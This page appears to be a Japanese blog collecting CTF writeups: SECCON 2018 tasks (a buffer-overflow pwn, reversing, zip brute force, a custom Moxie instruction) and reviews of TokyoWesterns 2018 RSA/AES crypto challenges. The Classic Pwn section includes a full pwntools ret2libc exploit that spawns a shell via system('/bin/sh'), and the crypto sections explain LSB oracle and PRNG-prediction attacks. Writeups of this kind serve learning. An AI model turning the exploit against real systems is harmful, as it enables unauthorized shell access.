あとは問題のリンクの最初にあったディレクトリ以下をls
してフラグを表示してやればいい。
この脆弱性についてはCVE-2018-17961とかで調べたり、前に調べたのがhttps://hiziriai.hatenablog.com/entry/2018/09/06/161559にある。合ってるかは知らないけどな。
SECCON 2018 Online CTF Writeup
SECCON 2018 Online CTF writeup
解けたのはClassic Pwn, Runme, Unzipの3問。
何故かSpecial Instructionが解けてるのに正解が出ず...
そのままずるずると終わりました。
Classic Pwn
Pwn
まさに古典的Pwnといった感じの問題、classicという実行ファイルとlibcが降ってくる。
プログラムの動作は、gets
で入力を受け取ってローカルバッファに格納して終了するというだけ。
4006a9: 55 push rbp 4006aa: 48 89 e5 mov rbp,rsp 4006ad: 48 83 ec 40 sub rsp,0x40 4006b1: bf 74 07 40 00 mov edi,0x400774 4006b6: e8 65 fe ff ff call 400520 <puts@plt> 4006bb: bf 8e 07 40 00 mov edi,0x40078e 4006c0: b8 00 00 00 00 mov eax,0x0 4006c5: e8 76 fe ff ff call 400540 <printf@plt> 4006ca: 48 8d 45 c0 lea rax,[rbp-0x40] 4006ce: 48 89 c7 mov rdi,rax 4006d1: e8 8a fe ff ff call 400560 <gets@plt> 4006d6: bf 9f 07 40 00 mov edi,0x40079f 4006db: e8 40 fe ff ff call 400520 <puts@plt> 4006e0: b8 00 00 00 00 mov eax,0x0 4006e5: c9 leave 4006e6: c3 ret
gets
は際限なく入力を受け取るのでオーバーフローする。
Stack Protectionがないのでmain
のあとのリターンアドレスを書き換えることができ、制御を奪うことができる。
ただしx64なのでスタックに引数は積めない、ROPが必要になる。
libcもあるので、libcのベースアドレスをリークさせてsystem
を呼び出すことにした。
puts
にGOT領域にある関数のアドレスを引数として渡すことで、その関数のアドレスを出力させる。
関数のアドレスからその関数のオフセットを引くことで、libcのベースアドレスを計算できる。
そこで、libcのベースアドレスからsystem
とlibc内の/bin/sh
のアドレスを取得する。
オフセットはreadelf
とstrings
で取得できる。
それかpwntools
のELF
とかを使っても取得できるはず。
$ readelf --sym libc # putsのオフセットは0x6f690 ... 404: 000000000006f690 456 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5 ... $ strings -t x libc | grep /bin/sh # /bin/shのオフセットは0x18cd57 18cd57 /bin/sh
最後にsystem
を呼び出すため、もう一度プログラムの制御を奪う必要がある。
main関数をもう一度呼び出すことで再び制御を奪えるようにした。
まとめると
- BOFで
puts
でGOT領域にある関数のアドレスを出力し、main
の先頭に戻る - 出力されたアドレスから
system
と/bin/sh
のアドレスを計算 - もう一度BOFをして、今度は計算された
system
を/bin/sh
を引数にして実行する - シェルゲット
という感じ。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='amd64') exe = './classic' libc = './libc' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('classic.pwn.seccon.jp', 17354) else: return process([exe] + argv, *a, **kw) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() # libcでのそれぞれの関数へのオフセット system_offset = 0x0000000000045390 puts_offset = 0x000000000006f690 binsh_offset = 0x18cd57 elf = ELF(exe) # rop gadget pop_rdi = 0x00400753 # pop rdi; ret main = 0x004006a9 # 2回脆弱性を攻撃するためにmain関数のアドレス、ret2vul # オーバーフローするまでのパディング payload = 'A' * 0x40 # padding # push rbpでスタックに積まれたrbpを上書きする部分 payload += 'B' * 8 # prev_rbp # puts(puts@got)でGOT領域に格納されたputsのアドレスを出力し、main関数をもう一度実行する payload += p64(pop_rdi) # rdiに引数としてputs@gotを設定 payload += p64(elf.got['puts']) # popされる payload += p64(elf.plt['puts']) # puts(puts@got)、putsのアドレスを出力 payload += p64(main) # mainをもう一度実行する io.clean() # 余計な出力を削除 io.sendline(payload) io.recvuntil("Have a nice pwn!!\n") # 余計な部分まで読み出して削除 # putsのアドレスからlibcのベースアドレスを計算 puts_addr = io.recvline()[0:6] # GOT領域のputsのアドレス、先頭2バイトが0なので6バイトまで puts_addr = u64(puts_addr + '\0\0') # 足りない2バイトの0を補って数値に変換 libc_base = puts_addr - puts_offset # putsのオフセットを引くことでlibcのベースアドレスが計算できる # libcのベースアドレスにオフセットを足して、それぞれのアドレスを計算 system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset # デバッグのためログとして出力、pwndbgならgotコマンドでgotのアドレスが表示できるよ log.info("puts @ got: {}".format(hex(puts_addr))) log.info('libc base: {}'.format(hex(libc_base))) # mainがもう一度実行されているので、こんどはsystemを呼び出すようにオーバーフローさせる payload = 'A' * 0x40 # padding payload += 'B' * 8 # prev_rbp # system("/bin/sh") payload += p64(pop_rdi) payload += p64(binsh_addr) # /bin/shをrdiに設定し、引数とする payload += p64(system_addr) # やったぜ io.sendline(payload) io.interactive()
Runme
WinのPEが降ってくる。
中身はコマンドライン引数を一文字ずつ比較する関数を次々と呼び出しているだけなので、比較している文字を順番通りに並べればフラグになる。
Unzip
解凍するとzipファイルと解凍に使ったスクリプトが出てくる。
echo 'SECCON{'`cat key`'}' > flag.txt zip -e --password=`perl -e "print time()"` flag.zip flag.txt
perl -e "print time()"
がパスワードらしい。
time
はUNIX時間を返すのと、flag.zip
の作成日からおおよそ"1540566600"の前後だということが分かった。
あとは前後60秒くらいをブルートフォースすればいい。
手動でやるのは面倒だったのでPythonにやらせた。
面倒なことは
import zipfile unixtime = 1540566600 zipf = zipfile.ZipFile('./flag.zip') for i in range(70): try: zipf.extractall(pwd=str(unixtime+i)) except RuntimeError as e: continue
解凍するとflagが出てくる。
Special Instruction
マイナーなアーキテクチャのバイナリが降ってくる。
マルチアーキテクチャ対応のreadelf
とかだとMoxie
というアーキテクチャだと教えてくれる。
大熱血本のHPから実行環境付きのOVAを取得することもできる。
しかし、このバイナリはset_random_seed
とget_random_value
でオリジナルの命令を使うようになっているためそのままでは実行できない。
バイナリの挙動は、Cのソースコードにするとこんな感じである。
#include <stdio.h> unsigned int seed = 0; char flag[] = {0x6d, 0x72, 0xc3, 0xe2, 0xcf, 0x95, 0x54, 0x9d, 0xb6, 0xac, 0x03, 0x84, 0xc3, 0xc2, 0x35, 0x93, 0xc3, 0xd7, 0x7c, 0xe2, 0xdd, 0xd4, 0xac, 0x5e, 0x99, 0xc9, 0xa5, 0x34, 0xde, 0x06, 0x4e, 0x00}; char randval[] = {0x3d, 0x05, 0xdc, 0x31, 0xd1, 0x8a, 0xaf, 0x29, 0x96, 0xfa, 0xcb, 0x1b, 0x01, 0xec, 0xe2, 0xf7, 0x15, 0x70, 0x6c, 0xf4, 0x7e, 0xa1, 0x9e, 0x0e, 0x01, 0xf9, 0xc2, 0x4c, 0xba, 0xa0, 0xa1, 0x08, 0x70, 0x24, 0x85, 0x8a, 0x4d, 0x2d, 0x3c, 0x02, 0xfc, 0x6f, 0x20, 0xf0, 0xc7, 0xad, 0x2f, 0x97, 0x2b, 0xcc, 0xa3, 0x34, 0x23, 0x53, 0xc9, 0xb7, 0x0c, 0x10, 0x6c, 0x0e, 0xfa, 0xf9, 0xa1, 0x9a,}; void set_random_seed(unsigned int num) { seed = num; } unsigned int get_random_value() { seed ^= seed << 13; seed ^= seed >> 17; seed ^= seed << 5; return seed; } char* decode(char* flag, char* randval) { if (flag[0] != 0) { char* randval_ptr = randval; // r8 char* flag_ptr = flag; // r7 while(1) { unsigned char r6 = *randval_ptr; r6 ^= get_random_value(); r6 ^= *flag_ptr; *flag_ptr = r6; flag_ptr++; randval_ptr++; if (*flag_ptr == 0) { break; } } } return flag; } int main(int argc, char** argv){ // ヒントの出力 set_random_seed(0x92d68ca2); printf("%s\n", decode(flag, randval)); return 0; }
decode
とmain
は、クロスコンパイルした結果がバイナリとほぼ一致していたので合っているはず。
最初の方に出力命令があり、以下のヒントを出力するようになっていた。
SETRSEED: (Opcode:0x16) RegA -> SEED GETRAND: (Opcode:0x17) xorshift32(SEED) -> SEED SEED -> RegA
要はオリジナルの命令の挙動を説明しているんだと思う。
上記のCコードではこれも関数として補っている。
xorshift32
は疑似乱数生成アルゴリズムの一種で、高速で実装が簡単な割りに周期がそこそこ長くて優秀らしい。
wikiに載っている実装をそのまま持ってきた(uint32_t
はクロスコンパイル環境で使えなかったのでunsigned int
に変えている)。
しかし、何故かフラグとして正常にデコードできなかった。
xorshift32
はあちこちにあるサンプル実装そのままなのでおそらく合ってる、set_random_seed
はまずこれ以外ない。
となるとget_random_value
が違うということになるけど、ヒントそのままの挙動のはず。
というわけで投げた。
人のwriteup(https://hikalium.hatenablog.jp/entry/2018/10/28/164812)を見てみた。
パラメータは適当らしい、ざけんな。
xorshift32
の正解のパラメータは13, 17, 15だそうなので試したら解けた。
CTFの問題にはどんな場合でもブルートフォース要素を含めるなとは言わないが、アルゴリズムの名前だけを知らせてそのパラメータを総当たりさせることが本当にその問題を面白くするのかどうか考えてからそうして欲しい。 ヒントにたった3つの整数を付け足すだけで問題の難易度を下げることなく参加者のストレスを低減できる。
まあ論文読めば解けるのでこれは論文を読めという天啓かもしれない。
感想
Special Instructionで詰まって投げてしまってこの4つ以外はほとんど触れていない。
限られた問題だけで感想を言うと、正直微妙だった。
どうでもいいような問題ばかりであまり学べることがなく、参加してもしなくても同じという印象を抱いてしまった。
まあ偶然ハズレを引いたんだと気持ちを入れ替えて、他の問題のWriteup見て反省しよう。
大熱血本も読まないとなあ。
TokyoWesterns CTF 2018 Revolutional Secure Angou 復習 ctf crypto
Revolutional Secure Angou 復習
https://ctftime.org/writeup/10865 Writeup見て復習。
require 'openssl' e = 65537 while true p = OpenSSL::BN.generate_prime(1024, false) q = OpenSSL::BN.new(e).mod_inverse(p) next unless q.prime? key = OpenSSL::PKey::RSA.new key.set_key(p.to_i * q.to_i, e, nil) File.write('publickey.pem', key.to_pem) File.binwrite('flag.encrypted', key.public_encrypt(File.binread('flag'))) break end
僕はまったく分からなかったが、qの生成方法が普通と違うので不備があることに気付けるらしい。
通常のRSAの手順は以下のようになる。
- ランダムに2つの素数を生成、と
- とに対して素な整数, public exponentを選ぶ、たいてい0x10001, 65537になっている。
- , private exponentを計算する。これはで計算される。
- を計算し、を公開鍵、を秘密鍵にする。
普通はqもランダムに生成するが、このスクリプトではq = OpenSSL::BN.new(e).mod_inverse(p)
となっている。
つまり、で生成されている。
この式を変形するととなり、と表せる(kは任意の整数)。
ここで、両辺にをかける。
すると、となる。
なので、は知ることができる。
つまり、という2次方程式になる。
これによりを求めることができる。
が分かればを計算できる、これで暗号化されたフラグを復号できる。
TokyoWesterns CTF 2018 mixed-cipher 復習
Writeupとか見ながら復習したので、その解説。 参考にしたWriteupはhttps://github.com/GabiTulba/Tokyo-Westerns-2018-Mixed-Cipher-Crypto-Write-up/blob/master/README.mdのやつ。
問題自体の解説はしないでその中で使われていた手法、特にLSB Decryption Oracle Attackの解説をメインに書く。
mixed-cipher
問題で渡されるスクリプト
from Crypto.PublicKey import RSA from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes import random import signal import os import sys sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0) privkey = RSA.generate(1024) pubkey = privkey.publickey() flag = open('./flag').read().strip() aeskey = os.urandom(16) BLOCK_SIZE = 16 def pad(s): n = 16 - len(s)%16 return s + chr(n)*n def unpad(s): n = ord(s[-1]) return s[:-n] def aes_encrypt(s): iv = long_to_bytes(random.getrandbits(BLOCK_SIZE*8), 16) aes = AES.new(aeskey, AES.MODE_CBC, iv) return iv + aes.encrypt(pad(s)) def aes_decrypt(s): iv = s[:BLOCK_SIZE] aes = AES.new(aeskey, AES.MODE_CBC, iv) return unpad(aes.decrypt(s[BLOCK_SIZE:])) def bulldozer(s): s = bytearray(s) print('Bulldozer is coming!') for idx in range(len(s) - 1): s[idx] = '#' return str(s) def encrypt(): p = raw_input('input plain text: ').strip() print('RSA: {}'.format(pubkey.encrypt(p, 0)[0].encode('hex'))) print('AES: {}'.format(aes_encrypt(p).encode('hex'))) def decrypt(): c = raw_input('input hexencoded cipher text: ').strip().decode('hex') print('RSA: {}'.format(bulldozer(privkey.decrypt(c)).encode('hex'))) def print_flag(): print('here is encrypted flag :)') p = flag print('another bulldozer is coming!') print(('#'*BLOCK_SIZE+aes_encrypt(p)[BLOCK_SIZE:]).encode('hex')) def print_key(): print('here is encrypted key :)') p = aeskey c = pubkey.encrypt(p, 0)[0] print(c.encode('hex')) signal.alarm(300) while True: print("""Welcome to mixed cipher :) I heard bulldozer is on this channel, be careful! 1: encrypt 2: decrypt 3: get encrypted flag 4: get encrypted key""") n = int(raw_input()) menu = { 1: encrypt, 2: decrypt, 3: print_flag, 4: print_key, } if n not in menu: print('bye :)') exit() menu[n]()
簡単に動作を説明すると、CBCモードのAESと1024bitのRSAを使って暗号化とかする感じ。 ただし、bulldozerが来て復号化したメッセージなどはほとんど取得できないようになっている。 おそらく、このbulldozerで復号化したメッセージの下位1バイトが取得できるところからLSB Decryption Oracle Attackを発想できるんだと思う。
解読手順 概略
Writeupで示されていた手順だと、だいたい以下のようになる。
- 暗号文と平文が入手できることとgcdを利用してNを入手 (2~4回の試行)
- Nを使って、暗号化されたASE Keyの下位1バイトが分かるので、RSA LSB oracle AttackでAES Keyを入手
- PythonのrandomモジュールのメルセンヌツイスターをクラックしてIVを入手
- 鍵とIVが分かるのでAESのフラグを復号する
print_key
によってRSAで暗号化されたAES Keyを手に入れ、decrypt
でそれを復号することができる。
ただし、bulldozer
で下位1バイトしか分からないようにされてしまう。
ここでRSAに対する攻撃のひとつであるLSB Decryption Oracle Attackが使える。
この攻撃は任意の暗号文を復号した結果の下位1ビットが分かれば、元の平文を復元することができるというものである、詳しくは後で。
これを利用してAES Keyを復号できる。
これでprint_flag
が解読できるかというとそうでもない。
print_flag
では先頭にあるIVがbulldozer
で潰されるため、鍵があっても復号できないようになっている。
そのためこのIVを取得する必要があるが、一見すると手に入らなそうに思える。
しかし、疑似乱数を推測することでこれを突破することができる。
IVの生成に使っているPythonのrandomモジュールはメルセンヌツイスターというアルゴリズムで疑似乱数を生成しているが、モジュール内部の状態であるPRNGを取得できるために予測が可能になってしまう。
推測のためのツール、randcrackがある。
推測といっても何度か(Writeupでは156回)乱数を取得する必要がある。
これで、AESの鍵とIVが入手できたのでprint_flag
によって出力されるAESで暗号化されたフラグを解読することができるようになった。
RSAの解読
LSB Decryption Oracle Attack
この攻撃は、任意の暗号文の平文の下位1ビットが分かれば平文を求めることができてしまうというものである。 だいたい以下の条件を満していれば使える。
- 任意の暗号文を復号でき、その結果の下位1ビットが分かる
- 公開鍵(N, e)が分かっている
この問題ではNも分かっていないので、その取得方法もこのあとで解説する。 ここではNは分かっているものとして話を進める。 eはPyCryptoのモジュールのデフォルト値0x10001が使われている。 普通RSAのeには0x10001が使われるので、分からなくてもこれを仮定して良い気はする。 eが極端に大きかったり小さかったりするとそれはそれで攻撃可能になりかねないので注意する必要がある。
求めたい平文を、求めたい平文を暗号化した暗号文は、公開鍵をととする。 まずを復号させる。 このとき、とはであるため、ではが成立する。 よって、を復号するとが得られる。
の値をとすると、と表すことができる(は整数)。
また、であり(がより大きくなるとが一意に定まらず解読不可能になるので、普通はそうならないようにする)、であるため、であるはず。
// TODO: ここの解釈は微妙、もう少しちゃんとした証明を探す。
要は、なので、のときはとなるというだけである。
ありえるのはだけとなる。
ここで、の偶奇(下位1ビット)に着目する。 のは、素数と素数の積なので奇数のはず(偶数なら素数2が選ばれているのでNから秘密鍵を求められる)。 の偶奇は前提条件により復号した結果から分かる。 また、は偶数であるので、によりの偶奇が分かることになる。 もし、つまり復号した結果が奇数(下位ビット1)なら、も奇数である。 なのでということになる。 もしが偶数(下位ビット0)なら、となる。
のとき、なのでということになる。
のとき、なのでということになる。
// FIXME: 等号が間違ってる気がする
結果を簡潔にまとめると、の復号した結果の下位ビットが
- 0なら
- 1なら
となる。 つまり、下位1ビットから平文の範囲をの半分に限定することができることになる。 も同じようにさらに半分にでき、でさらに半分にできる。 これをせいぜい鍵長のビット数回繰り返せば平文を定めることができる。
のときについて
同じような議論で、に限定できる。 のときの範囲と合わせて考えて、さらに半分にすることができる。
Nの特定
LSB Decryption Oracle Attackで、任意の暗号文を解読した結果の下位1ビットを知ることができると平文全体を求めることができると分かった。 しかし、この問題では肝心のNが分からないようになっている。 そこでまずNを特定する必要がある。
任意の平文の暗号文を入手できると十分な確度で推測することができる。 これにはgcdを利用する。
暗号化処理をと表す。 ある平文を用意し、暗号文を取得する。 暗号化処理により、となる。 によりが取得できる。
このとき、同士のgcdを計算することでが取得できる。 の値によっては失敗しそうだが、のビット長を利用することで確度を上げられる。 だいたい2つから4つくらいのgcdで大丈夫らしい。
AESの解読
AESの概略
RSAよりは浸透してないだろうと思うので、簡単に説明。 共通鍵暗号なので、暗号化と復号に使う鍵は同じものになる。 簡単に言えば、鍵から乱数列を作ってその乱数列を使い1ブロックずつを暗号化していく。
モードというものがあり、暗号化のされ方や強度に影響が出る。 この問題で使われているのはCBCモードというもので、前に暗号化されたブロックのデータが次のブロックの暗号化に使われるモードになる。 これにより、一部だけ解読したり改ざんしたりしにくくなる。 前のブロックを使うため、一番最初のブロックだけは初期化ベクトルという特別なブロックを前のブロックとして使う必要がある。 復号するためにはこの初期化ベクトルも必要になる。 この初期化ベクトルは暗号文と同時に送信される(そのはずだけど微妙に憶えてない)。
解読方法
RSAの解読することにより、print_key
からAESの鍵を取得することができた。
本来なら鍵され分かれば共通鍵暗号のAESは復号できるはずだが、IV(初期化ベクトル)をbulldozer
に潰されてしまっているため復号できない。
そのため、IVをどうにかして取得する必要がある。
問題の処理ではIVをrandom.getrandbits(BLOCK_SIZE*8)
で生成している。
このrandom
では、疑似乱数の生成にメルセンヌツイスターというアルゴリズムを使用している。
乱数の実装はたいていこのメルセンヌツイスターになってるはず、多分。
モジュールなので当然内部の初期状態などは分かっているため、これを解析して次の乱数を予想できるらしい。
randcrackでそれが可能、方法についても記載されているがまだ調べてない。
ともかく、これにより鍵とIVが手に入ったためprint_flag
を解読することができ、フラグをゲットできる。
スクリプト
writeupの方のコードは汚なくて読みにくいので、できればあとで書きたい。